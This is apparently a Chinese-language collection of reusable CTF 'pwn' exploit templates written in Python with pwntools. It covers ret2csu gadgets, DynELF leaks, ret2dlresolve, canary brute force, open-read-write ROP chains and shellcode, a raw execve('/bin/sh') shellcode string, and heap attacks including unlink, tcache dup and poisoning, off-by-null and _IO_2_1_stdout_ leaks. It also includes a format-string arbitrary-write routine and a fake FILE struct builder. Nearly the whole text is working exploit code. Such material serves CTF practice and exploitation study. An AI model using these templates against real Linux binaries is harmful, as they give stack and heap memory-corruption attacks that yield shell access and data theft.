各种模板 pwn题中有许多目标模板,灵活利用可以节约大量时间
我打算把我遇到的所有模板都挂在这里,方便以后查找
CSU-万能pop模板 当程序的常规gadgets不能满足需求时(通常是缺少“pop_rdx”),就需要万能pop
如果用csu 进行寄存器赋值,需要两个重要的ROPgadgets:
csu_front_addr:
csu_end_addr:
这两个gadgets相互配合就可以执行任何已知函数
不同的程序csu可能不同(寄存器顺序不同),一定要确认并修改
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 csu_front_addr= csu_end_addr= def csu (rbx, rbp, r12, r13, r14, r15, last ): payload = padding + fake_ebp payload += p64(csu_end_addr) payload += p64(rbx)+p64(rbp)+p64(r12)+p64(r13)+p64(r14)+p64(r15) payload += p64(csu_front_addr) payload += b'a' * 0x38 payload += p64(last) p.send(payload)
// fun_got也可以是指向函数首地址的指针
例子:
1 2 3 4 csu(0 , 1 , write_got, 8 , bss_addr, 1 , main_addr) csu(0 , 1 , read_got, 8 , bss_addr, 0 , main_addr)
//但是万能pop需要至少“136字节”(0x88)的溢出
DynELF-基于puts的模板 puts遇到“\x00”会中断,并且会在字符串结尾自动加上’\n’,非常不适合leak函数
所以想用puts来泄露地址,必须要对其进行处理:
64位:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 def leak (addr ): payload = padding + fake_rbp payload += p64(pop_rdi_ret) + p64(addr) payload += p64(puts_plt) + p64(ret_address) p.send(payload) p.recvuntil('xxxx' ) count = 0 data = '' up = "" while True : c = p.recv(numb=1 , timeout=0.5 ) count += 1 if up == '\n' and c == "" : data = data[:-1 ] data += "\x00" break else : data += c up = c data = data[:8 ] log.success('%x -> %s' %(addr,hex (u32(data)))) return data
32位:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 def leak (address ): count = 0 data = '' payload = p32(puts_plt) + p32(ret_address) + p32(address) p.send(payload) print p.recvuntil('xxxx' ) up = "" while True : c = p.recv(numb=1 , timeout=1 ) count += 1 if up == '\n' and c == "" : buf = buf[:-1 ] buf += "\x00" break else : buf += c up = c data = buf[:4 ] log.success('%x -> %s' %(address,hex (u32(data)))) return data
数据接收那里很容易出问题,并且必须要有“ p.recvuntil(‘xxxx’) ”
因为程序在运行的过程中会输出一些字符串,可能会干扰数据接收的过程
DynELF-基于write的模板 write比puts友好太多了,这个leak函数也比较简单:
64位:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 def leak (addr ): payload = padding + fake_rbp payload += p64(pop_rdi_ret) + p64(1 ) payload += p64(pop_rsi_ret) + p64(addr) payload += p64(pop_rdx_ret) + p64(8 ) payload += p64(write_plt) + p64(ret_address) p.send(payload) p.recvuntil('xxxx' ) data = p.recv(8 ) log.success('%x -> %s' %(addr,hex (u32(data)))) return data d = DynELF(leak,elf = elf) function_libc = d.lookup('function' ,'libc' )
32位:
1 2 3 4 5 6 7 8 9 10 11 12 def leak (address ): payload = padding + fake_rbp payload += p32(write_plt) + p32(ret_address) payload += p32(1 ) + p32(address) + p32(4 ) p.sendline(payload) p.recvuntil('xxxx' ) data = p.recv(4 ) log.success('%x -> %s' %(address,hex (u32(data)))) return data d = DynELF(leak,elf = elf) function_libc = d.lookup('function' ,'libc' )
配合上面的万能pop,还可以形成更骚的操作:
1 2 3 4 5 6 7 def leak (addr ): csu(0 , 1 , write_got, 8 , addr, 1 , main_addr) p.recvuntil('xxxx' ) data = p.recv(8 ) log.info("%#x => %s" % (addr, (data or '' ).encode('hex' ))) return data
注意:有些程序自带循环,可以根据具体情况进行修改
ret2dlresolve-64位 如果题目中给出了libc版本,就可以用这个方法(泄露出libc版本后也行)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 def fake_Linkmap_payload (fake_linkmap_addr,known_func_ptr,offset ): linkmap = p64(offset & (2 ** 64 - 1 )) linkmap += p64(0 ) linkmap += p64(fake_linkmap_addr + 0x18 ) linkmap += p64((fake_linkmap_addr + 0x30 - offset) & (2 ** 64 - 1 )) linkmap += p64(0x7 ) linkmap += p64(0 ) linkmap += p64(0 ) linkmap += p64(0 ) linkmap += p64(known_func_ptr - 0x8 ) linkmap += b'/bin/sh\x00' linkmap = linkmap.ljust(0x68 ,b'A' ) linkmap += p64(fake_linkmap_addr) linkmap += p64(fake_linkmap_addr + 0x38 ) linkmap = linkmap.ljust(0xf8 ,b'A' ) linkmap += p64(fake_linkmap_addr + 0x8 ) return linkmap
1 2 3 4 5 6 7 8 9 10 l_addr = libc.sym['system' ] -libc.sym['function' ] plt_load = addr(plt[1 ]) fake_link_map = fake_Linkmap_payload(bss_stage, function_got ,l_addr) payload = flat( padding, pop_rdi, 0 , pop_rsi, bss_stage, 0 , read_plt, pop_rsi, 0 , 0 , pop_rdi, bss_stage + 0x48 , plt_load, bss_stage, 0 ) p.recvuntil('xxxx' ) p.sendline(payload) p.send(fake_link_map)
程序先利用read在“bss_stage”中写入了“fake_link_map”
在手动调用dl_runtime_resolve(plt_load),把“bss_stage”和“0”作为参数
执行完成之后,目标函数就会被重定位为“ system(“/bin/sh”) ”
理论上来讲,只要已知了libc版本就可以用这个来打
canary爆破 1 2 3 4 5 6 7 8 9 10 for j in range (3 ): for i in range (0x100 ): cn.send( padding + canary + chr (i)) a = cn.recvuntil('xxxx' ) if 'xxxx' in a: canary += chr (i) break canary='\x00' +canary print (canary)
这两个’xxxx’写什么是关键,要对比“canary通过”和“canary不通过”程序输出的字符串来填入
ORW(ROP链+shellcode) ORW原理:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 int main(void){ void* bss; int * fd,mm; fd=open ("./flag.txt" ,0 ); mm=open ("./flag.txt" ,0 ); bss=malloc(0x90 ); read(3 ,bss,0x30 ); write(1 ,bss,0x30 ); printf("fd >>%d\n" ,fd); printf("mm >>%d\n" ,mm); return 0 ; }
注意这里的“read(3,bss,0x30)”(如果前面已经调用了“open”,可以换成“read(4,bss,0x30)”)
1 2 3 flag{ywhkkx} fd >>3 mm >>4
Shellcode-32
1 2 3 shellcode=asm('push 0x0;push 0x67616c66;mov ebx,esp;xor ecx,ecx;xor edx,edx;mov eax,0x5;int 0x80' ) shellcode+=asm('mov eax,0x3;mov ecx,ebx;mov ebx,0x3;mov edx,0x100;int 0x80' ) shellcode+=asm('mov eax,0x4;mov ebx,0x1;int 0x80' )
1 2 3 4 5 shellcode = '' shellcode += shellcraft.open ('./flag' ) shellcode += shellcraft.read('eax' ,'esp' ,0x100 ) shellcode += shellcraft.write(1 ,'esp' ,0x100 ) shellcode = asm(shellcode)
Shellcode-64
1 2 3 4 5 shellcode = '' shellcode += shellcraft.open ('./flag' ) shellcode += shellcraft.read('eax' ,'esp' ,0x100 ) shellcode += shellcraft.write(1 ,'esp' ,0x100 ) shellcode = asm(shellcode)
// 不管是64位还是32位:“esp”为“./flag”所在地址,根据具体情况进行填写
ROP链-64
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 payload = padding + fake_rbp payload += p64(pop_rax_ret) + p64(0 ) payload += p64(pop_rdi_ret) + p64(0 ) payload += p64(pop_rsi_ret) + p64(bss_addr) payload += p64(pop_rdx_ret) + p64(0x30 ) payload += p64(syscall_ret) payload += p64(pop_rax_ret) + p64(2 ) payload += p64(pop_rdi_ret) + p64(bss_addr) payload += p64(pop_rsi_ret) + p64(0 ) payload += p64(pop_rdx_ret) + p64(0 ) payload += p64(syscall_ret) payload += p64(pop_rax_ret) + p64(0 ) payload += p64(pop_rdi_ret) + p64(3 ) payload += p64(pop_rsi_ret) + p64(bss_addr) payload += p64(pop_rdx_ret) + p64(0x60 ) payload += p64(syscall_ret) payload += p64(pop_rax_ret) + p64(1 ) payload += p64(pop_rdi_ret) + p64(1 ) payload += p64(pop_rsi_ret) + p64(bss_addr) payload += p64(pop_rdx_ret) + p64(0x60 ) payload += p64(syscall_ret) p.sendline(payload) flag='./flag' p.send(flag)
当不知道程序名称时,用“getdents64”进行操作:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 payload = padding + fake_rbp payload += p64(pop_rdi_ret) + p64(0 ) payload += p64(pop_rsi_ret) + p64(bss_addr) payload += p64(pop_rdx_ret) + p64(2 ) payload += p64(elf.sym['read' ]) payload += p64(pop_rax_ret) + p64(2 ) payload += p64(pop_rdi_ret) + p64(bss_addr) payload += p64(pop_rsi_ret) + p64(0 ) payload += p64(pop_rdx_ret) + p64(0 ) payload += p64(syscall_ret) payload += p64(pop_rax_ret) + p64(217 ) payload += p64(pop_rdi_ret) + p64(3 ) payload += p64(pop_rsi_ret) + p64(bss_addr + 0x200 ) payload += p64(pop_rdx_ret) + p64(0x600 ) payload += p64(syscall_ret) payload += p64(pop_rax_ret) + p64(1 ) payload += p64(pop_rdi_ret) + p64(1 ) payload += p64(pop_rsi_ret) + p64(bss_addr + 0x200 ) payload += p64(pop_rdx_ret) + p64(0x600 ) payload += p64(syscall_ret) payload += p64(pop_rax_ret) + p64(0 ) payload += p64(pop_rdi_ret) + p64(0 ) payload += p64(pop_rsi_ret) + p64(bss_addr) payload += p64(pop_rdx_ret) + p64(0x30 ) payload += p64(syscall_ret) payload += p64(pop_rax_ret) + p64(2 ) payload += p64(pop_rdi_ret) + p64(bss_addr) payload += p64(pop_rsi_ret) + p64(0 ) payload += p64(pop_rdx_ret) + p64(0 ) payload += p64(syscall_ret) payload += p64(pop_rax_ret) + p64(0 ) payload += p64(pop_rdi_ret) + p64(4 ) payload += p64(pop_rsi_ret) + p64(bss_addr) payload += p64(pop_rdx_ret) + p64(0x60 ) payload += p64(syscall_ret) payload += p64(pop_rax_ret) + p64(1 ) payload += p64(pop_rdi_ret) + p64(1 ) payload += p64(pop_rsi_ret) + p64(bss_addr) payload += p64(pop_rdx_ret) + p64(0x60 ) payload += p64(syscall_ret) p.sendline(payload) p.send('.\x00' ) time.sleep(1 ) p.recvuntil('xxxx' ) flag_s=p.recv(20 ) flag='xxxx' +flag_s p.send(flag)
先用“open(“.”)”打开当前目录
使用“getdents64(3, bss_addr + 0x200, 0x600)”打印目录到“bss_addr + 0x200”
使用“write(1, bss_addr + 0x200, 0x600)”打印目录
选择性接受文件名称(至于怎么接收,就要看程序了)
Shellcode模板 ret2csu
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 csu_front_addr= csu_end_addr= def csu (rbx, rbp, r12, r13, r14, r15, last ): payload = padding + fake_ebp payload += p64(csu_end_addr) payload += p64(rbx)+p64(rbp)+p64(r12)+p64(r13)+p64(r14)+p64(r15) payload += p64(csu_front_addr) payload += b'a' * 0x38 payload += p64(last) p.send(payload) shellcode='\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05' payload= padding + fake_ebp payload+=p64(pop_rdi_ret)+p64(0 ) payload+=p64(pop_rsi_ret)+p64(bss_addr) payload+=p64(pop_rdx_ret)+p64(0x400 ) payload+=p64(read_plt)+p64(main_addr) p.sendline(payload) p.sendline(shellcode) shellcode_got= got[0 ] payload= padding + fake_ebp payload+=p64(pop_rdi_ret)+p64(0 ) payload+=p64(pop_rsi_ret)+p64(shellcode_got) payload+=p64(pop_rdx_ret)+p64(0x200 ) payload+=p64(read_plt)+p64(main_addr) p.sendline(payload) p.send(p64(bss_addr)) mprot_got= got[1 ] payload= padding + fake_ebp payload+=p64(pop_rdi_ret)+p64(0 ) payload+=p64(pop_rsi_ret)+p64(mprot_got) payload+=p64(pop_rdx_ret)+p64(0x200 ) payload+=p64(read_plt)+p64(main_addr) p.sendline(payload) p.send(p64(mprotect_libc)) csu(0 , 1 , mprot_got, 7 , 0x1000 , 0x600000 , main_addr) csu(0 , 1 , shellcode_got, 0 , 0 , 0 , main_addr)
这种进攻方式的核心就在于:把目标地址写入空白的GOT表
Unlink攻击模板 基于chunk_list
通常就是这么个造型,根据具体需要进行修改(这种方式高libc版本用不了)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 alloc(0xa0 ) alloc(0xa0 ) alloc(0xa0 ) list_addr_chunk2=list_addr+0x10 payload=p64(0 )+p64(0xa0 ) payload+=p64(list_addr_chunk2-0x18 ) payload+=p64(list_addr_chunk2-0x10 ) payload=payload.ljust(0xa0 ,'\x00' ) payload+=p64(0xa0 )+p64(0xb0 ) fill(2 ,0xb0 ,payload) free(3 )
通常都是修改“chunk2”,释放“chunk3”,留一个“chunk1”进行初始化
1 2 3 4 5 6 7 8 pwndbg> x/10xg list_addr(buf[0 ]) 0x602140 : 0x0000000000000000 0x0000000000e0a020 0x602150 : 0x0000000000602138 0x0000000000000000 0x602160 : 0x0000000000000000 0x0000000000000000
接下来修改“chunk2”就可以直接修改“list_addr”(“buf[0]”)了
1 2 3 4 5 payload=p64(0 ) payload+=p64(elf.got['target1' ]) payload+=p64(elf.got['target2' ]) payload+=p64(elf.got['target3' ]) fill(2 ,len (payload),payload)
// 程序会在“buf[-1]”(buf[2-3])开始写入数据
基于heap_addr (泄露“heap_addr”+泄露“libc_base”+后续利用)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 add(0x40 ,'' ) add(0x60 ,'' ) add(0xf0 ,'' ) add(0x10 ,'' ) delete(2 ) add(0xf0 ,'' ) show(2 ) p.recvuntil('\n' ) leak_addr=u64(p.recvuntil('\n' )[:-1 ].ljust(8 ,'\x00' ))<<8 libc_base=leak_addr-0x3c4b00 success('leak_addr >> ' +hex (leak_addr)) success('libc_base >> ' +hex (libc_base)) add(0x10 ,'' ) delete(3 ) delete(4 ) add(0x10 ,'' ) show(3 ) p.recvuntil('\n' ) leak_addr=u64(p.recvuntil('\n' )[:-1 ].ljust(8 ,'\x00' ))<<8 heap_addr=leak_addr-240 success('leak_addr >> ' +hex (leak_addr)) success('heap_addr >> ' +hex (heap_addr)) delete(0 ) payload=p64(0 )+p64(0xb1 ) payload+=p64(heap_addr+0x18 )+p64(heap_addr+0x20 )+p64(heap_addr+0x10 ) add(0x40 ,payload) delete(1 ) add(0x68 ,'\x00' *0x60 +p64(0xb0 )) delete(2 ) add(0xc0 ,'AAAA' ) add(0x60 ,'BBBB' ) delete(1 ) delete(2 ) add(0xc0 ,flat('\x00' *0x38 ,0x71 ,fake_target)) add(0x60 ,payload)
先构造泄露 heap_addr 的结构,再构造泄露 libc_base 的结构
要求 unlink 跳过中间那个chunk,基于这点构造“fake chunk->size”和“last chunk->fake presize”
释放chunk1,使chunk1进入fastbin
申请“0x60”字节的目的有二:防止 top chunk 合并,调整 unsortedbin 的大小(使其可以进入fastbin)
申请“0xC0”字节释放后,可以控制已经在fastbin中的chunk1,从而申请到目标地址
Unsortedbin Leak模板 1 2 3 4 5 6 add(0x80 , "A" *0x80 ) add(0x80 , "B" *0x80 ) add(0x80 , "C" *0x80 ) add(0x80 , "D" *0x80 ) delete(3 ) delete(1 )
chunk1:leak heap_addr
chunk3:leak main_arena
格式化字符串漏洞模板 WAA模板
通常需要在两片内存空间中,最后指向的地址相同(“偏移N”,“偏移M”)
例如:实现“ 目标地址 => shellcode ”
找寻:最后指向地址相同的两片空间(“偏移N”,“偏移M”)
把“目标地址”写入“偏移N”
对应的“偏移M”最终也会指向“目标地址”
把“shellcode”写入“偏移M”(其实就是把“shellcode”写入“目标地址”了)
通常需要分段写入地址,先写入高地址,所以模板为:(每次修改2字节)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 payload = "%{}c%N$hn\n" .format (target_addr_in_stack + 6 ) p.send(payload) payload = "%{}c%M$hn\n" .format ((shellcode_addr >> 16 *3 ) & 0xFFFF ) p.send(payload) payload = "%{}c%N$hn\n" .format (target_addr_in_stack + 4 ) p.send(payload) payload = "%{}c%M$hn\n" .format ((shellcode_addr >> 16 *2 ) & 0xFFFF ) p.send(payload) payload = "%{}c%N$hn\n" .format (target_addr_in_stack + 2 ) p.send(payload) payload = "%{}c%M$hn\n" .format ((shellcode_addr >> 16 *1 ) & 0xFFFF ) p.send(payload) payload = "%{}c%N$hn\n" .format (target_addr_in_stack) p.send(payload) payload = "%{}c%M$hn\n" .format (shellcode_addr & 0xFFFF ) p.send(payload)
leak模板
格式化字符串的 leak 很简单,只需要输入若干“-%p”,并在GDB中确认格式化参数的地址后,就可以计算出各个地址的偏移了
// 前6个是寄存器中存放的值(在stack中也有),后续的信息才是重点
实现 leak 了之后,首先需要寻找“最后指向地址相同”的内存空间,方便以后的 WAA
Tcache Attack 模板 Tcache Attack的形式多种多样,遇到一个记录一个
Tcache leak
如果程序拥有“打印模块”,就先可以填满 Tcachebin,然后打 Unsortedbin leak
1 2 3 4 5 6 7 for i in range (9 ): add(i,0x100 ,'aaaa' ) for i in range (7 ): delete(i) delete(7 )
申请9个chunk:7个填Tcachebin,1个leak,1个防止和合并Top chunk
Tcache dup
1 2 3 4 5 6 7 delete(index) edit(index,"\x00" *0x10 ) delete(index) edit(index,p64(target)) add(size) add(size)
释放 chunk ,覆盖 “chunk->FD,chunk->BK” 为“\x00” ,再次释放
利用修改模块覆写上 target
连续两次申请获取 target
Tcache perthread corruption
一,打 count 获取 unsorted chunk:
1 2 3 4 5 6 7 8 9 10 delete(index) edit(index,"\x00" *0x10 ) delete(index) payload="\x00" *0x48 + p64(0x0007000000000000 ) edit(index,p64(heap_base + 0x10 )) add(size) add(size,payload) delete(index)
注意:tcache->next 和常规的FD指针相似但不同,FD指向 nextchunk->presize ,而 next 指向 nextchunk->next
利用 Tcache dup 申请到“tcache_perthread_struct”(第一个chunk)
修改对应“tcache_perthread_struct->size”的“count”为“7”(偏移可以在GDB中看)
释放“tcache_perthread_struct”使其进入“unsortedbin”
二,打 tcache_entry 劫持 tcachebin:
这个很灵活,不好用代码表示,这里我挂上几个堆风水:
1 2 add(0x38 , p16(stdout )) add(0x58 , p64(0xfdad2887 | 0x1000 ) + p64(0 )*3 + b"\x00" )
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 pwndbg> x/20 xg 0x558b1cfcd000 0x558b1cfcd000 : 0x0000000000000000 0x0000000000000051 0x558b1cfcd010 : 0x0001000200000000 0x0000000000000001 0x558b1cfcd020 : 0x0000000000000000 0x0000000000000000 0x558b1cfcd030 : 0x0000000000000000 0x0000000000000000 0x558b1cfcd040 : 0x0000000000000000 0x0000000000000000 0x558b1cfcd050 : 0x0000000000000000 0x0000000000000051 0x558b1cfcd060 : 0x0000000558b1ce3c 0x0000558b1cfcd010 0x558b1cfcd070 : 0x0000000000000000 0x0000000000000000 0x558b1cfcd080 : 0x0000000000000000 0x0000000000000000 0x558b1cfcd090 : 0x0000000000000000 0x0000000000000000 0x558b1cfcd0a0 : 0x0000558b1cfcd0b0 0x0000558b1cfcd060 0x558b1cfcd0b0 : 0x00007fea097ddc00 0x00007fea097ddc00
1 2 3 4 tcachebins 0x40 [ 2 ]: 0x558b1cfcd0b0 ◂— 0x7fef51cc13cd 0x50 [ 1 ]: 0x558b1cfcd060 ◂— 0x1f1 0x60 [ 1 ]: 0x7fea097ddc00 (main_arena+96 ) ◂— 0x558ce25c44cd
注意:因为 tcache 的性质,在对应“size的tcache”中写入地址,就会申请这个地址作为“tcache->next”(也就是说,数据会直接写入该地址)
关键在于:使 '0x40' tcache
中装有 '0x50' tcache addr
,使其可以通过申请“0x30”来修改 '0x50' tcache
的地址(劫持大小为“0x50”的tcachebin)
Off-By-Null模板(基于read) 有些程序为了“打印模块”的安全性,会在read完成后加一个“\x00”,造成了off-by-null
例如:( (&list + index) + read(0, *(&list + index) , size) ) = 0
有Tcache:
1 2 3 4 5 6 7 8 9 10 11 12 13 for i in range (0 , 11 ): add(i, 0xF8 , "a" *0xF0 +"b" *0x8 ) for i in range (3 , 10 ): delete(i) delete(0 ) edit(1 , 'a' * 0xF0 + p64(0x200 )) delete(2 ) add(0 , 0x70 , "\n" ) add(0 , 0x70 , "\n" ) show(1 )
覆盖前:
1 2 3 0x55a67dfb3450 : 0x6262626262626262 0x0000000000000101 # chunk2(allocated)0x55a67dfb3460 : 0x6161616161616161 0x6161616161616161 0x55a67dfb3470 : 0x6161616161616161 0x6161616161616161
覆盖后:
1 2 3 0x561f0e5bf450 : 0x0000000000000200 0x0000000000000100 # chunk2(allocated)0x561f0e5bf460 : 0x6161616161616161 0x6161616161616161 0x561f0e5bf470 : 0x6161616161616161 0x6161616161616161
导致程序误以为chunk0(free)是chunk2相邻的上一个chunk,在释放chunk2后,会导致chunk0,chunk1,chunk2,三者合并为free_chunk
两次申请“0x80”大小的chunk后,free_chunk刚好和chunk1_old重合,把“arena_main + xx”写入chunk1_old,这之后就可以利用“打印模块”进行泄露了
IO_2_1_stdout Leak 模板 基于 Double free
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 def pwn (): add(0x60 ) add(0x90 ) add(0x60 ) delete(1 ) _IO_2_1_stdout_s = libc.symbols['_IO_2_1_stdout_' ] add(0x90 ,p16((2 << 12 ) + ((_IO_2_1_stdout_s-0x43 ) & 0xFFF ))) delete(0 ) delete(2 ) delete(0 ) add(0x60 ,padding) add(0x60 ) add(0x60 ) add(0x60 ) add(0x60 ,'a' *0x33 +p64(0xfbad1800 )+p64(0 )*3 +'\x00' ) libc_base=u64(p.recvuntil('\x7f' )[-6 :].ljust(8 ,'\x00' ))-offset
整个过程在循环中进行,有 1/16 的概率可以成功
把 chunk1 放入 unsortedbin 然后覆盖 main_arena 为 target
进行 Double free ,然后覆盖“chunk0->FD”,使其指向 chunk1
申请 target 修改 _IO_2_1_stdout_
的“flag”为“0xfbad1800”,将后面三个read指针置空,将 _IO_write_base
处的第一个字节改为“0”
这里一定是:先覆盖 main_arena ,后 Double free 把它链入 fastbin
FILE结构体模板 这个模板主要是个函数:
1 2 3 4 5 6 7 8 9 10 def FILE (_flags=0 ,_IO_read_ptr=0 ,_IO_read_end=0 ,_IO_read_base=0 ,_IO_write_base=0 ,_IO_write_ptr=0 ,_IO_write_end=0 ,_IO_buf_base=0 ,_IO_buf_end=1 ,_fileno=0 ,_chain=0 ): fake_IO = flat([ _flags, _IO_read_ptr, _IO_read_end, _IO_read_base, _IO_write_base, _IO_write_ptr, _IO_write_end, _IO_buf_base, _IO_buf_end]) fake_IO += flat([0 ,0 ,0 ,0 ,_chain,_fileno]) fake_IO += flat([0xFFFFFFFFFFFFFFFF ,0 ,0 ,0xFFFFFFFFFFFFFFFF ,0 ,0 ]) fake_IO += flat([0 ,0 ,0 ,0xFFFFFFFF ,0 ,0 ]) return fake_IO
用它可以快速伪造 FILE 结构体